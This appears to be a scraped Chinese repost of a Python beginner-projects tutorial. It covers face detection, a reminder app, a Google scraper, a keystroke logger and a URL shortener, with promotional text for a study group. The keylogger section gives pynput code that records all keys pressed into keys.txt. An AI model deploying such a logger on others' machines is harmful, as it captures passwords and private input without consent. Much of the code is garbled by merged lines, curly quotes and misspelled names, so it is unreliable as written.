键盘记录器的实现方式(查看电脑键盘输入记录)

人脸识别

目的:编写一个Python脚本,可以检测图像中的人脸,并将所有的人脸保存在一个文件夹中。

提示:可以使用haar级联分类器对人脸进行检测。它返回的人脸坐标信息,可以保存在一个文件中。

安装:OpenCV。

import cv2

# Load the cascade

face_cascade = cv2.CascadeClassifier(‘haarcascade_frontalface_default.xml’)

# Read the input image

img = cv2.imread(‘images/img0.jpg’)

# Convert into grayscale

gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)

# Detect faces

faces = face_cascade.detectMultiScale(gray, 1.3, 4)

# Draw rectangle around the faces

for (x, y, w, h) in faces:

cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)

crop_face = img[y:y + h, x:x + w]

cv2.imwrite(str(w) + str(h) + ‘_faces.jpg’, crop_face)

# Display the output

cv2.imshow(‘img’, img)

cv2.imshow(“imgcropped”,crop_face)

cv2.waitKey()

七、提醒应用

目的:创建一个提醒应用程序,在特定的时间提醒你做一些事情(桌面通知)。

提示:Time模块可以用来跟踪提醒时间,toastnotifier库可以用来显示桌面通知。

安装:win10toast

from win10toast

import ToastNotifier

import time toaster = ToastNotifier()

try: print(“Title of reminder”)

header = input()

print(“Message of reminder”)

text = input() print(“In how many minutes?”)

time_min = input() time_min=float(time_min)

except:

header = input(“Title of remindern”)

text = input(“Message of remindarn”)

time_min=float(input(“In how many minutes?n”))

time_min = time_min * 60 print(“Setting up reminder..”)

time.sleep(2) print(“all set!”)

time.sleep(time_min) toaster.show_toast(f”{header}”, f”{text}”, duration=10, threaded=True) while toaster.notification_active(): time.sleep(0.005)

更多项目源码,请继续关注小编,如果大家在学习中遇到困难,想找一个python学习交流环境,可以加入我们的python裙,关注小编,并私信“01”即可进裙,领取python学习资料,会节约很多时间,减少很多遇到的难题。

八、获取谷歌搜索

目的:创建一个脚本,可以根据查询条件从谷歌搜索获取数据。

from bs4

import BeautifulSoup

import requests

headers = {‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3’} def google(query):

query = query.replace(” “,”+”)

try:

url = f’https://www.google.com/search?q={query}&oq={query}&aqs=chrome..69i57j46j69i59j35i39j0j46j0l2.4948j0j7&sourceid=chrome&ie=UTF-8′

res = requests.get(url,headers=headers)

soup = BeautifulSoup(res.text,’html.parser’)

except:

print(“Make sure you have a internet connection”)

try:

try:

ans = soup.select(‘.RqBzHd’)[0].getText().strip() except: try: title=soup.select(‘.AZCkJd’)[0].getText().strip()

try:

ans=soup.select(‘.e24Kjd’)[0].getText().strip()

except: ans=”” ans=f'{title}n{ans}’ except:

try:

ans=soup.select(‘.hgKElc’)[0].getText().strip()

except:

ans=soup.select(‘.kno-rdesc span’)[0].getText().strip()

except:

ans = “can’t find on google”

return ans result = google(str(input(“Queryn”))) print(result)

九、键盘记录器

目的:编写一个Python脚本,将用户按下的所有键保存在一个文本文件中。

提示:pynput是Python中的一个库,用于控制键盘和鼠标的移动,它也可以用于制作键盘记录器。简单地读取用户按下的键,并在一定数量的键后将它们保存在一个文本文件中。

from pynput.keyboard import Key, Controller,Listener

import time

keyboard = Controller()

keys=[]

def on_press(key):

global keys

#keys.append(str(key).replace(“‘”,””))

string = str(key).replace(“‘”,””)

keys.append(string)

main_string = “”.join(keys)

print(main_string)

if len(main_string)>15:

with open(‘keys.txt’, ‘a’) as f:

f.write(main_string)

keys= []

def on_release(key):

if key == Key.esc:

return False

with listener(on_press=on_press,on_release=on_release) as listener: listener.join()

十、短网址生成器

目的:编写一个Python脚本,使用API缩短给定的URL。

from __future__ import with_statement

import contextlib

try:

from urllib.parse import urlencode

except ImportError:

from urllib import urlencode

try:

from urllib.request import urlopen

except ImportError:

from urllib2 import urlope

import sys

def make_tiny(url):

request_url = (‘http://tinyurl.com/api-create.php?’ +

urlencode({‘url’:url}))

with contextlib.closing(urlopen(request_url)) as response:

return response.read().decode(‘utf-8’)

def main(): for tinyurl in map(make_tiny, sys.argv[1:]):

print(tinyurl) if __name__ == ‘__main__’: main()

—————————–OUTPUT————————

python url_shortener.py https://www.wikipedia.org/

https://tinyurl.com/buf3qt3

最后多说一句,小编是一名python开发工程师,这里有我自己整理了一套最新的python系统学习教程,包括从基础的python脚本到web开发、爬虫、数据分析、数据可视化、机器学习等。

秒鲨号所有文章资讯、展示的图片素材等内容均为注册用户上传(部分报媒/平媒内容转载自网络合作媒体),仅供学习参考。用户通过本站上传、发布的任何内容的知识产权归属用户或原始著作权人所有。如有侵犯您的版权,请联系我们反馈!本站将在三个工作日内改正。
(0)

大家都在看

品牌推广 在线咨询
返回顶部